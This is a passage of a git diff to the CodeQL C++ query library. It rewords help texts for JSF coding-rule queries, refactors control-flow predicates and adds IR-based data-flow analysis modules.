-This rule finds portions of code that can expose the floating point implementation of the underlying +This query highlights portions of code that can expose the floating point implementation of the underlying machine. Manually manipulating the bits in the float is prone to mistakes and is unportable. Floating point implementations can vary across architectures, and bit-field packing can differ across compilers, making manual bit-manipulation of floats inadvisable. diff --git a/cpp/ql/src/jsf/4.18 Constants/AV Rule 151.1.qhelp b/cpp/ql/src/jsf/4.18 Constants/AV Rule 151.1.qhelp index 8e3770c0b45..9c6c369cfed 100644 --- a/cpp/ql/src/jsf/4.18 Constants/AV Rule 151.1.qhelp +++ b/cpp/ql/src/jsf/4.18 Constants/AV Rule 151.1.qhelp @@ -5,8 +5,12 @@ + + + +

-This rule finds string literals that are assigned to a non-const variable. String literals +This query highlights string literals that are assigned to a non-const variable. String literals should not be changed, since they are usually stored in the data section, and depending on the architecture, writing to the data section will cause undefined behavior, such as memory corruption or memory write error.

diff --git a/cpp/ql/src/jsf/4.20 Unions and Bit Fields/AV Rule 154.qhelp b/cpp/ql/src/jsf/4.20 Unions and Bit Fields/AV Rule 154.qhelp index 317ac901570..3c502a24928 100644 --- a/cpp/ql/src/jsf/4.20 Unions and Bit Fields/AV Rule 154.qhelp +++ b/cpp/ql/src/jsf/4.20 Unions and Bit Fields/AV Rule 154.qhelp @@ -5,6 +5,10 @@ + + + +

This query finds bit fields with members that are not explicitly declared to be unsigned. The sign of plain char, short, int, or long bit field is implementation-specific, and declaring diff --git a/cpp/ql/src/jsf/4.21 Operators/AV Rule 165.qhelp b/cpp/ql/src/jsf/4.21 Operators/AV Rule 165.qhelp index 48d38584802..5961991fcdc 100644 --- a/cpp/ql/src/jsf/4.21 Operators/AV Rule 165.qhelp +++ b/cpp/ql/src/jsf/4.21 Operators/AV Rule 165.qhelp @@ -5,8 +5,12 @@ + + + +

-This rule finds unsigned values that are being negated. Behavior is undefined in such cases. +This query finds unsigned values that are being negated. Behavior is undefined in such cases. Negating integer values produces the two's complement of that number, which cannot represent negative values of large unsigned values (values where the sign bit is used) and are most likely to be interpreted as a smaller positive integer instead. diff --git a/cpp/ql/src/jsf/4.24 Control Flow Structures/AV Rule 189.qhelp b/cpp/ql/src/jsf/4.24 Control Flow Structures/AV Rule 189.qhelp index 211a694ae16..e65f5b8dfb4 100644 --- a/cpp/ql/src/jsf/4.24 Control Flow Structures/AV Rule 189.qhelp +++ b/cpp/ql/src/jsf/4.24 Control Flow Structures/AV Rule 189.qhelp @@ -4,6 +4,10 @@ + + + +

Use of goto statements makes code more difficult to understand and maintain. Consequently, the use of goto statements is deprecated except as a mechanism for breaking out of multiple nested loops. This rule identifies any goto statements that are called directly or from a single nested loop as violations.

diff --git a/cpp/ql/src/plugin.xml b/cpp/ql/src/plugin.xml deleted file mode 100644 index d7036c7c347..00000000000 --- a/cpp/ql/src/plugin.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - diff --git a/cpp/ql/src/semmle/code/cpp/Class.qll b/cpp/ql/src/semmle/code/cpp/Class.qll index 8d4414f03f3..99cd54e62fa 100644 --- a/cpp/ql/src/semmle/code/cpp/Class.qll +++ b/cpp/ql/src/semmle/code/cpp/Class.qll @@ -418,6 +418,12 @@ class Class extends UserType { */ predicate isPOD() { is_pod_class(underlyingElement(this)) } + /** + * Holds if this class is a standard-layout class [N4140 9(7)]. Also holds + * for structs in C programs. + */ + predicate isStandardLayout() { is_standard_layout_class(underlyingElement(this)) } + /** * Holds if this class is abstract, in other words whether it declares one * or more pure virtual member functions. diff --git a/cpp/ql/src/semmle/code/cpp/PrintAST.qll b/cpp/ql/src/semmle/code/cpp/PrintAST.qll index 803758f986c..378b94dbbbb 100644 --- a/cpp/ql/src/semmle/code/cpp/PrintAST.qll +++ b/cpp/ql/src/semmle/code/cpp/PrintAST.qll @@ -542,6 +542,42 @@ class FunctionNode extends ASTNode { } } +/** + * A node representing an `ClassAggregateLiteral`. + */ +class ClassAggregateLiteralNode extends ExprNode { + ClassAggregateLiteral list; + + ClassAggregateLiteralNode() { + list = ast + } + + override string getChildEdgeLabel(int childIndex) { + exists(Field field | + list.getFieldExpr(field) = list.getChild(childIndex) and + result = "." + field.getName() + ) + } +} + +/** + * A node representing an `ArrayAggregateLiteral`. + */ +class ArrayAggregateLiteralNode extends ExprNode { + ArrayAggregateLiteral list; + + ArrayAggregateLiteralNode() { + list = ast + } + + override string getChildEdgeLabel(int childIndex) { + exists(int elementIndex | + list.getElementExpr(elementIndex) = list.getChild(childIndex) and + result = "[" + elementIndex.toString() + "]" + ) + } +} + query predicate nodes(PrintASTNode node, string key, string value) { node.shouldPrint() and value = node.getProperty(key) diff --git a/cpp/ql/src/semmle/code/cpp/controlflow/ControlFlowGraph.qll b/cpp/ql/src/semmle/code/cpp/controlflow/ControlFlowGraph.qll index 65bd1fcdb15..7d96d8f32ae 100644 --- a/cpp/ql/src/semmle/code/cpp/controlflow/ControlFlowGraph.qll +++ b/cpp/ql/src/semmle/code/cpp/controlflow/ControlFlowGraph.qll @@ -77,6 +77,23 @@ class ControlFlowNode extends Locatable, ControlFlowNodeBase { import Cached private cached module Cached { + // The base case of `reachable` is factored out for performance. If it's + // written in-line in `reachable`, the compiler inserts a `n instanceof + // ControlFlowNode` check because the `not ... and not ...` case doesn't + // otherwise bind `n`. The problem is that this check is inserted at the + // outermost level of this predicate, so it covers all cases including the + // recursive case. The optimizer doesn't eliminate the check even though it's + // redundant, and having the check leads to needless extra computation and a + // risk of bad join orders. + private predicate reachableBaseCase(ControlFlowNode n) { + exists(Function f | f.getEntryPoint() = n) + or + // Okay to use successors_extended directly here + (not successors_extended(_,n) and not successors_extended(n,_)) + or + n instanceof Handler + } + /** * Holds if the control-flow node `n` is reachable, meaning that either * it is an entry point, or there exists a path in the control-flow @@ -88,14 +105,9 @@ private cached module Cached { cached predicate reachable(ControlFlowNode n) { - exists(Function f | f.getEntryPoint() = n) - or - // Okay to use successors_extended directly here - (not successors_extended(_,n) and not successors_extended(n,_)) + reachableBaseCase(n) or reachable(n.getAPredecessor()) - or - n instanceof Handler } /** Holds if `condition` always evaluates to a nonzero value. */ diff --git a/cpp/ql/src/semmle/code/cpp/controlflow/IRGuards.qll b/cpp/ql/src/semmle/code/cpp/controlflow/IRGuards.qll index fddea8c6d92..5867b8e5c59 100644 --- a/cpp/ql/src/semmle/code/cpp/controlflow/IRGuards.qll +++ b/cpp/ql/src/semmle/code/cpp/controlflow/IRGuards.qll @@ -1,6 +1,17 @@ import cpp import semmle.code.cpp.ir.IR +/** + * Holds if `block` consists of an `UnreachedInstruction`. + * + * We avoiding reporting an unreached block as being controlled by a guard. The unreached block + * has the AST for the `Function` itself, which tends to confuse mapping between the AST `BasicBlock` + * and the `IRBlock`. + */ +private predicate isUnreachedBlock(IRBlock block) { + block.getFirstInstruction() instanceof UnreachedInstruction +} + /** * A Boolean condition in the AST that guards one or more basic blocks. This includes * operands of logical operators but not switch statements. @@ -215,7 +226,8 @@ private class GuardConditionFromIR extends GuardCondition { private predicate controlsBlock(BasicBlock controlled, boolean testIsTrue) { exists(IRBlock irb | forex(IRGuardCondition inst | inst = ir | inst.controls(irb, testIsTrue)) and - irb.getAnInstruction().getAST().(ControlFlowNode).getBasicBlock() = controlled + irb.getAnInstruction().getAST().(ControlFlowNode).getBasicBlock() = controlled and + not isUnreachedBlock(irb) ) } } @@ -301,6 +313,7 @@ class IRGuardCondition extends Instruction { * `&&` and `||`. See the detailed explanation on predicate `controls`. */ private predicate controlsBlock(IRBlock controlled, boolean testIsTrue) { + not isUnreachedBlock(controlled) and exists(IRBlock thisblock | thisblock.getAnInstruction() = this | exists(IRBlock succ, ConditionalBranchInstruction branch diff --git a/cpp/ql/src/semmle/code/cpp/controlflow/LocalScopeVariableReachability.qll b/cpp/ql/src/semmle/code/cpp/controlflow/LocalScopeVariableReachability.qll index f8917126395..bdd641f9338 100644 --- a/cpp/ql/src/semmle/code/cpp/controlflow/LocalScopeVariableReachability.qll +++ b/cpp/ql/src/semmle/code/cpp/controlflow/LocalScopeVariableReachability.qll @@ -96,10 +96,18 @@ abstract class LocalScopeVariableReachability extends string { private predicate bbEntryReachesLocally(BasicBlock bb, SemanticStackVariable v, ControlFlowNode node) { exists(int n | - node = bb.getNode(n) and isSink(node, v) | - not exists(int m | m < n | isBarrier(bb.getNode(m), v)) + node = bb.getNode(n) and + isSink(node, v) + | + not exists(this.firstBarrierIndexIn(bb, v)) + or + n <= this.firstBarrierIndexIn(bb, v) ) } + + private int firstBarrierIndexIn(BasicBlock bb, SemanticStackVariable v) { + result = min(int m | isBarrier(bb.getNode(m), v)) + } } /** diff --git a/cpp/ql/src/semmle/code/cpp/dataflow/RecursionPrevention.qll b/cpp/ql/src/semmle/code/cpp/dataflow/RecursionPrevention.qll index 75f22a077fd..fd65f87990a 100644 --- a/cpp/ql/src/semmle/code/cpp/dataflow/RecursionPrevention.qll +++ b/cpp/ql/src/semmle/code/cpp/dataflow/RecursionPrevention.qll @@ -1,4 +1,9 @@ /** + * DEPRECATED: Recursion through `DataFlow::Configuration` is impossible in + * Semmle Core 1.17 and above. There is no need for this module because it's + * impossible to accidentally depend on recursion through + * `DataFlow::Configuration` in current releases. + * * When this module is imported, recursive use of `DataFlow::Configuration` is * disallowed. Importing this module will guarantee the absence of such * recursion, which is unsupported and will be unconditionally disallowed in a diff --git a/cpp/ql/src/semmle/code/cpp/dataflow/internal/FlowVar.qll b/cpp/ql/src/semmle/code/cpp/dataflow/internal/FlowVar.qll index 1e22c1b1997..75d5d300bae 100644 --- a/cpp/ql/src/semmle/code/cpp/dataflow/internal/FlowVar.qll +++ b/cpp/ql/src/semmle/code/cpp/dataflow/internal/FlowVar.qll @@ -292,10 +292,7 @@ module FlowVar_internal { * Gets a variable that is assigned in this loop and read outside the loop. */ private Variable getARelevantVariable() { - exists(BasicBlock bbAssign | - assignmentLikeOperation(bbAssign.getANode(), result, _) and - this.bbInLoop(bbAssign) - ) and + result = this.getAVariableAssignedInLoop() and exists(VariableAccess va | va.getTarget() = result and readAccess(va) and @@ -303,6 +300,15 @@ module FlowVar_internal { ) } + /** Gets a variable that is assigned in this loop. */ + pragma[noinline] + private Variable getAVariableAssignedInLoop() { + exists(BasicBlock bbAssign | + assignmentLikeOperation(bbAssign.getANode(), result, _) and + this.bbInLoop(bbAssign) + ) + } + private predicate bbInLoopCondition(BasicBlock bb) { getCFNParent*(bb.getANode()) = this.(Loop).getCondition() } diff --git a/cpp/ql/src/semmle/code/cpp/exprs/BuiltInOperations.qll b/cpp/ql/src/semmle/code/cpp/exprs/BuiltInOperations.qll index 26c01adea8c..cd25fd45f79 100644 --- a/cpp/ql/src/semmle/code/cpp/exprs/BuiltInOperations.qll +++ b/cpp/ql/src/semmle/code/cpp/exprs/BuiltInOperations.qll @@ -202,6 +202,27 @@ class BuiltInOperationBuiltInShuffleVector extends BuiltInOperation, @builtinshu override string toString() { result = "__builtin_shufflevector" } } +/** + * A clang `__builtin_convertvector` expression. + */ +class BuiltInOperationBuiltInConvertVector extends BuiltInOperation, @builtinconvertvector { + override string toString() { result = "__builtin_convertvector" } +} + +/** + * A clang `__builtin_addressof` expression (can be used to implement C++'s std::addressof). + */ +class BuiltInOperationBuiltInAddressOf extends UnaryOperation, BuiltInOperation, @builtinaddressof { + /** Gets the function or variable whose address is taken. */ + Declaration getAddressable() { + result = this.getOperand().(Access).getTarget() + // this handles the case where we are taking the address of a reference variable + or result = this.getOperand().(ReferenceDereferenceExpr).getChild(0).(Access).getTarget() + } + + override string getOperator() { result = "__builtin_addressof" } +} + /** * The `__is_trivially_constructible` type trait. */ @@ -369,3 +390,10 @@ class BuiltInOperationIsFinal extends BuiltInOperation, @isfinalexpr { class BuiltInChooseExpr extends BuiltInOperation, @builtinchooseexpr { override string toString() { result = "__builtin_choose_expr" } } + +/** + * Fill operation on a GNU vector. + */ +class VectorFillOperation extends UnaryOperation, @vec_fill { + override string getOperator() { result = "(vector fill)" } +} diff --git a/cpp/ql/src/semmle/code/cpp/exprs/Cast.qll b/cpp/ql/src/semmle/code/cpp/exprs/Cast.qll index 9825f079423..c9876a0a794 100644 --- a/cpp/ql/src/semmle/code/cpp/exprs/Cast.qll +++ b/cpp/ql/src/semmle/code/cpp/exprs/Cast.qll @@ -497,7 +497,12 @@ class DynamicCast extends Cast, @dynamic_cast { * specified by the `__declspec(uuid)` attribute. */ class UuidofOperator extends Expr, @uuidof { - override string toString() { result = "__uuidof(" + getTypeOperand().getName() + ")" } + override string toString() { + if exists(getTypeOperand()) then + result = "__uuidof(" + getTypeOperand().getName() + ")" + else + result = "__uuidof(0)" + } override int getPrecedence() { result = 15 } diff --git a/cpp/ql/src/semmle/code/cpp/exprs/LogicalOperation.qll b/cpp/ql/src/semmle/code/cpp/exprs/LogicalOperation.qll index 3b6af561e27..790fe336dcc 100644 --- a/cpp/ql/src/semmle/code/cpp/exprs/LogicalOperation.qll +++ b/cpp/ql/src/semmle/code/cpp/exprs/LogicalOperation.qll @@ -67,13 +67,28 @@ class LogicalOrExpr extends BinaryLogicalOperation, @orlogicalexpr { */ class ConditionalExpr extends Operation, @conditionalexpr { /** Gets the condition of this conditional expression. */ - Expr getCondition() { this.hasChild(result,0) } + Expr getCondition() { + expr_cond_guard(underlyingElement(this), unresolveElement(result)) + } /** Gets the 'then' expression of this conditional expression. */ - Expr getThen() { this.hasChild(result,1) } + Expr getThen() { + if this.isTwoOperand() + then result = this.getCondition() + else expr_cond_true(underlyingElement(this), unresolveElement(result)) + } /** Gets the 'else' expression of this conditional expression. */ - Expr getElse() { this.hasChild(result,2) } + Expr getElse() { + expr_cond_false(underlyingElement(this), unresolveElement(result)) + } + + /** + * Holds if this expression used the two operand form `guard ? : false`. + */ + predicate isTwoOperand() { + expr_cond_two_operand(underlyingElement(this)) + } override string getOperator() { result = "?" } diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow.qll new file mode 100644 index 00000000000..3d5a077b0d1 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow.qll @@ -0,0 +1,23 @@ +/** + * Provides a library for local (intra-procedural) and global (inter-procedural) + * data flow analysis: deciding whether data can flow from a _source_ to a + * _sink_. This library differs from the one in `semmle.code.cpp.dataflow` in that + * this library uses the IR (Intermediate Representation) library, which provides + * a more precise semantic representation of the program, whereas the other dataflow + * library uses the more syntax-oriented ASTs. This library should provide more accurate + * results than the AST-based library in most scenarios. + * + * Unless configured otherwise, _flow_ means that the exact value of + * the source may reach the sink. We do not track flow across pointer + * dereferences or array indexing. + * + * To use global (interprocedural) data flow, extend the class + * `DataFlow::Configuration` as documented on that class. To use local + * (intraprocedural) data flow, invoke `DataFlow::localFlow` or + * `DataFlow::LocalFlowStep` with arguments of type `DataFlow::Node`. + */ +import cpp + +module DataFlow { + import semmle.code.cpp.ir.dataflow.internal.DataFlowImpl +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow2.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow2.qll new file mode 100644 index 00000000000..9d849c510c5 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow2.qll @@ -0,0 +1,38 @@ +/** + * Provides a `DataFlow2` module, which is a copy of the `DataFlow` module. Use + * this class when data-flow configurations must depend on each other. Two + * classes extending `DataFlow::Configuration` should never depend on each + * other, but one of them should instead depend on a + * `DataFlow2::Configuration`, a `DataFlow3::Configuration`, or a + * `DataFlow4::Configuration`. + * + * See `semmle.code.cpp.dataflow.DataFlow` for the full documentation. + */ +import cpp + +module DataFlow2 { + import semmle.code.cpp.ir.dataflow.internal.DataFlowImpl2 + + /** + * This class exists to prevent mutual recursion between the user-overridden + * member predicates of `Configuration` and the rest of the data-flow library. + * Good performance cannot be guaranteed in the presence of such recursion, so + * it should be replaced by using more than one copy of the data flow library. + * Four copies are available: `DataFlow` through `DataFlow4`. + */ + private abstract + class ConfigurationRecursionPrevention extends Configuration { + bindingset[this] + ConfigurationRecursionPrevention() { any() } + + override predicate hasFlow(Node source, Node sink) { + strictcount(Node n | this.isSource(n)) < 0 + or + strictcount(Node n | this.isSink(n)) < 0 + or + strictcount(Node n1, Node n2 | this.isAdditionalFlowStep(n1, n2)) < 0 + or + super.hasFlow(source, sink) + } + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow3.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow3.qll new file mode 100644 index 00000000000..459b80d5e27 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow3.qll @@ -0,0 +1,38 @@ +/** + * Provides a `DataFlow3` module, which is a copy of the `DataFlow` module. Use + * this class when data-flow configurations must depend on each other. Two + * classes extending `DataFlow::Configuration` should never depend on each + * other, but one of them should instead depend on a + * `DataFlow2::Configuration`, a `DataFlow3::Configuration`, or a + * `DataFlow4::Configuration`. + * + * See `semmle.code.cpp.dataflow.DataFlow` for the full documentation. + */ +import cpp + +module DataFlow3 { + import semmle.code.cpp.ir.dataflow.internal.DataFlowImpl3 + + /** + * This class exists to prevent mutual recursion between the user-overridden + * member predicates of `Configuration` and the rest of the data-flow library. + * Good performance cannot be guaranteed in the presence of such recursion, so + * it should be replaced by using more than one copy of the data flow library. + * Four copies are available: `DataFlow` through `DataFlow4`. + */ + private abstract + class ConfigurationRecursionPrevention extends Configuration { + bindingset[this] + ConfigurationRecursionPrevention() { any() } + + override predicate hasFlow(Node source, Node sink) { + strictcount(Node n | this.isSource(n)) < 0 + or + strictcount(Node n | this.isSink(n)) < 0 + or + strictcount(Node n1, Node n2 | this.isAdditionalFlowStep(n1, n2)) < 0 + or + super.hasFlow(source, sink) + } + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow4.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow4.qll new file mode 100644 index 00000000000..c67509bd7e4 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DataFlow4.qll @@ -0,0 +1,38 @@ +/** + * Provides a `DataFlow4` module, which is a copy of the `DataFlow` module. Use + * this class when data-flow configurations must depend on each other. Two + * classes extending `DataFlow::Configuration` should never depend on each + * other, but one of them should instead depend on a + * `DataFlow2::Configuration`, a `DataFlow3::Configuration`, or a + * `DataFlow4::Configuration`. + * + * See `semmle.code.cpp.dataflow.DataFlow` for the full documentation. + */ +import cpp + +module DataFlow4 { + import semmle.code.cpp.ir.dataflow.internal.DataFlowImpl4 + + /** + * This class exists to prevent mutual recursion between the user-overridden + * member predicates of `Configuration` and the rest of the data-flow library. + * Good performance cannot be guaranteed in the presence of such recursion, so + * it should be replaced by using more than one copy of the data flow library. + * Four copies are available: `DataFlow` through `DataFlow4`. + */ + private abstract + class ConfigurationRecursionPrevention extends Configuration { + bindingset[this] + ConfigurationRecursionPrevention() { any() } + + override predicate hasFlow(Node source, Node sink) { + strictcount(Node n | this.isSource(n)) < 0 + or + strictcount(Node n | this.isSink(n)) < 0 + or + strictcount(Node n1, Node n2 | this.isAdditionalFlowStep(n1, n2)) < 0 + or + super.hasFlow(source, sink) + } + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowDispatch.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowDispatch.qll new file mode 100644 index 00000000000..cb2339cfdc2 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowDispatch.qll @@ -0,0 +1,73 @@ +private import cpp +private import DataFlowPrivate + +Function viableImpl(MethodAccess ma) { + result = ma.getTarget() +} + +Function viableCallable(Call call) { + result = call.getTarget() +} + +/** + * Holds if the call context `ctx` reduces the set of viable dispatch + * targets of `ma` in `c`. + */ +predicate reducedViableImplInCallContext(MethodAccess ma, Callable c, Call ctx) { + none() +} + +/** + * Gets a viable dispatch target of `ma` in the context `ctx`. This is + * restricted to those `ma`s for which a context might make a difference. + */ +private Method viableImplInCallContext(MethodAccess ma, Call ctx) { + // stub implementation + result = viableImpl(ma) and + viableCallable(ctx) = ma.getEnclosingFunction() +} + +/** + * Gets a viable dispatch target of `ma` in the context `ctx`. This is + * restricted to those `ma`s for which the context makes a difference. + */ +Method prunedViableImplInCallContext(MethodAccess ma, Call ctx) { + result = viableImplInCallContext(ma, ctx) and + reducedViableImplInCallContext(ma, _, ctx) +} + +/** + * Holds if data might flow from `ma` to a return statement in some + * configuration. + */ +private predicate maybeChainedReturn(MethodAccess ma) { + exists(ReturnStmt ret | + exists(ret.getExpr()) and + ret.getEnclosingFunction() = ma.getEnclosingFunction() and + not ma.getParent() instanceof ExprStmt + ) +} + +/** + * Holds if flow returning from `m` to `ma` might return further and if + * this path restricts the set of call sites that can be returned to. + */ +predicate reducedViableImplInReturn(Method m, MethodAccess ma) { + exists(int tgts, int ctxtgts | + m = viableImpl(ma) and + ctxtgts = count(Call ctx | m = viableImplInCallContext(ma, ctx)) and + tgts = strictcount(Call ctx | viableCallable(ctx) = ma.getEnclosingFunction()) and + ctxtgts < tgts + ) and + maybeChainedReturn(ma) +} + +/** + * Gets a viable dispatch target of `ma` in the context `ctx`. This is + * restricted to those `ma`s and results for which the return flow from the + * result to `ma` restricts the possible context `ctx`. + */ +Method prunedViableImplInCallContextReverse(MethodAccess ma, Call ctx) { + result = viableImplInCallContext(ma, ctx) and + reducedViableImplInReturn(result, ma) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll new file mode 100644 index 00000000000..9d28e37cc8a --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl.qll @@ -0,0 +1,1614 @@ +/** + * Provides an implementation of global (interprocedural) data flow. This file + * re-exports the local (intraprocedural) data flow analysis from `DataFlowUtil` + * and adds a global analysis, mainly exposed through the `Configuration` class. + * This file exists in several identical copies, allowing queries to use + * multiple `Configuration` classes that depend on each other without + * introducing mutual recursion among those configurations. + */ + +import DataFlowUtil +private import DataFlowPrivate +private import DataFlowDispatch +private import DataFlowImplCommon + +/** + * A configuration of interprocedural data flow analysis. This defines + * sources, sinks, and any other configurable aspect of the analysis. Each + * use of the global data flow library must define its own unique extension + * of this abstract class. To create a configuration, extend this class with + * a subclass whose characteristic predicate is a unique singleton string. + * For example, write + * + * ``` + * class MyAnalysisConfiguration extends DataFlow::Configuration { + * MyAnalysisConfiguration() { this = "MyAnalysisConfiguration" } + * // Override `isSource` and `isSink`. + * // Optionally override `isBarrier`. + * // Optionally override `isAdditionalFlowStep`. + * } + * ``` + * + * Then, to query whether there is flow between some `source` and `sink`, + * write + * + * ``` + * exists(MyAnalysisConfiguration cfg | cfg.hasFlow(source, sink)) + * ``` + * + * Multiple configurations can coexist, but two classes extending + * `DataFlow::Configuration` should never depend on each other. One of them + * should instead depend on a `DataFlow2::Configuration`, a + * `DataFlow3::Configuration`, or a `DataFlow4::Configuration`. + */ +abstract class Configuration extends string { + bindingset[this] + Configuration() { any() } + + /** + * Holds if `source` is a relevant data flow source. + */ + abstract predicate isSource(Node source); + + /** + * Holds if `sink` is a relevant data flow sink. + */ + abstract predicate isSink(Node sink); + + /** Holds if data flow through `node` is prohibited. */ + predicate isBarrier(Node node) { none() } + + /** Holds if data flow from `node1` to `node2` is prohibited. */ + predicate isBarrierEdge(Node node1, Node node2) { none() } + + /** + * Holds if the additional flow step from `node1` to `node2` must be taken + * into account in the analysis. + */ + predicate isAdditionalFlowStep(Node node1, Node node2) { none() } + + /** + * Gets the virtual dispatch branching limit when calculating field flow. + * This can be overridden to a smaller value to improve performance (a + * value of 0 disables field flow), or a larger value to get more results. + */ + int fieldFlowBranchLimit() { result = 2 } + + /** + * Holds if data may flow from `source` to `sink` for this configuration. + */ + predicate hasFlow(Node source, Node sink) { flowsTo(source, sink, this) } + + /** + * Holds if data may flow from `source` to `sink` for this configuration. + * + * The corresponding paths are generated from the end-points and the graph + * included in the module `PathGraph`. + */ + predicate hasFlowPath(PathNode source, PathNode sink) { flowsTo(source, sink, _, _, this) } + + /** + * Holds if data may flow from some source to `sink` for this configuration. + */ + predicate hasFlowTo(Node sink) { hasFlow(_, sink) } + + /** + * Holds if data may flow from some source to `sink` for this configuration. + */ + predicate hasFlowToExpr(Expr sink) { hasFlowTo(exprNode(sink)) } + + /** DEPRECATED: use `hasFlow` instead. */ + deprecated predicate hasFlowForward(Node source, Node sink) { hasFlow(source, sink) } + + /** DEPRECATED: use `hasFlow` instead. */ + deprecated predicate hasFlowBackward(Node source, Node sink) { hasFlow(source, sink) } +} + +/** + * Holds if the additional step from `node1` to `node2` jumps between callables. + */ +private predicate additionalJumpStep(Node node1, Node node2, Configuration config) { + config.isAdditionalFlowStep(node1, node2) and + node1.getEnclosingCallable() != node2.getEnclosingCallable() +} + +pragma[noinline] +private predicate isAdditionalFlowStep( + Node node1, Node node2, Callable callable1, Callable callable2, Configuration config +) { + config.isAdditionalFlowStep(node1, node2) and + callable1 = node1.getEnclosingCallable() and + callable2 = node2.getEnclosingCallable() +} + +/** + * Holds if the additional step from `node1` to `node2` does not jump between callables. + */ +private predicate additionalLocalFlowStep(Node node1, Node node2, Configuration config) { + exists(Callable callable | isAdditionalFlowStep(node1, node2, callable, callable, config)) +} + +/** + * Holds if data can flow from `node1` to `node2` through a static field or + * variable capture. + */ +private predicate jumpStep(Node node1, Node node2, boolean preservesValue, Configuration config) { + jumpStep(node1, node2) and preservesValue = true + or + additionalJumpStep(node1, node2, config) and preservesValue = false +} + +/** + * Holds if data can flow in one local step from `node1` to `node2` taking + * additional steps from the configuration into account. + */ +private predicate localFlowStep(Node node1, Node node2, boolean preservesValue, Configuration config) { + localFlowStep(node1, node2) and not config.isBarrierEdge(node1, node2) and preservesValue = true + or + additionalLocalFlowStep(node1, node2, config) and preservesValue = false +} + +pragma[noinline] +private Method returnNodeGetEnclosingCallable(ReturnNode ret) { + result = ret.getEnclosingCallable() +} + +/** + * Holds if field flow should be used for the given configuration. + */ +private predicate useFieldFlow(Configuration config) { config.fieldFlowBranchLimit() >= 1 } + +/** + * Holds if `node` is reachable from a source in the given configuration + * ignoring call contexts. + */ +private predicate nodeCandFwd1(Node node, boolean stored, Configuration config) { + not config.isBarrier(node) and + ( + config.isSource(node) and stored = false + or + exists(Node mid, boolean preservesValue | + nodeCandFwd1(mid, stored, config) and + localFlowStep(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + nodeCandFwd1(mid, stored, config) and + jumpStep(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid | + useFieldFlow(config) and + nodeCandFwd1(mid, _, config) and + store(mid, _, node) and + stored = true + ) + or + // read + exists(Node mid, Content f | + nodeCandFwd1(mid, true, config) and + read(mid, f, node) and + storeCandFwd1(f, unbind(config)) and + (stored = false or stored = true) + ) + or + // flow into a callable + exists(Node arg | + nodeCandFwd1(arg, stored, config) and + viableParamArg(node, arg) + ) + or + // flow out of an argument + exists(PostUpdateNode mid, ParameterNode p | + nodeCandFwd1(mid, stored, config) and + parameterValueFlowsToUpdate(p, mid) and + viableParamArg(p, node.(PostUpdateNode).getPreUpdateNode()) + ) + or + // flow out of a callable + exists(Method m, MethodAccess ma, ReturnNode ret | + nodeCandFwd1(ret, stored, config) and + m = returnNodeGetEnclosingCallable(ret) and + m = viableImpl(ma) and + node.asExpr() = ma + ) + ) +} + +/** + * Holds if `f` is the target of a store in the flow covered by `nodeCandFwd1`. + */ +private predicate storeCandFwd1(Content f, Configuration config) { + exists(Node mid, Node node | + not config.isBarrier(node) and + useFieldFlow(config) and + nodeCandFwd1(mid, _, config) and + store(mid, f, node) + ) +} + +bindingset[result, b] +private boolean unbindBool(boolean b) { result != b.booleanNot() } + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration ignoring call contexts. + */ +pragma[nomagic] +private predicate nodeCand1(Node node, boolean stored, Configuration config) { + nodeCandFwd1(node, false, config) and + config.isSink(node) and + stored = false + or + nodeCandFwd1(node, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + localFlowStep(node, mid, preservesValue, config) and + nodeCand1(mid, stored, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + jumpStep(node, mid, preservesValue, config) and + nodeCand1(mid, stored, config) and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + store(node, f, mid) and + readCand1(f, unbind(config)) and + nodeCand1(mid, true, config) and + (stored = false or stored = true) + ) + or + // read + exists(Node mid, Content f | + read(node, f, mid) and + storeCandFwd1(f, unbind(config)) and + nodeCand1(mid, _, config) and + stored = true + ) + or + // flow into a callable + exists(Node param | + viableParamArg(param, node) and + nodeCand1(param, stored, config) + ) + or + // flow out of an argument + exists(PostUpdateNode mid, ParameterNode p | + parameterValueFlowsToUpdate(p, node) and + viableParamArg(p, mid.getPreUpdateNode()) and + nodeCand1(mid, stored, config) + ) + or + // flow out of a callable + exists(Method m, ExprNode ma | + nodeCand1(ma, stored, config) and + m = returnNodeGetEnclosingCallable(node) and + m = viableImpl(ma.getExpr()) + ) + ) +} + +/** + * Holds if `f` is the target of a read in the flow covered by `nodeCand1`. + */ +private predicate readCand1(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCandFwd1(node, true, unbind(config)) and + read(node, f, mid) and + storeCandFwd1(f, unbind(config)) and + nodeCand1(mid, _, config) + ) +} + +/** + * Holds if there is a path from `p` to `node` in the same callable that is + * part of a path from a source to a sink taking simple call contexts into 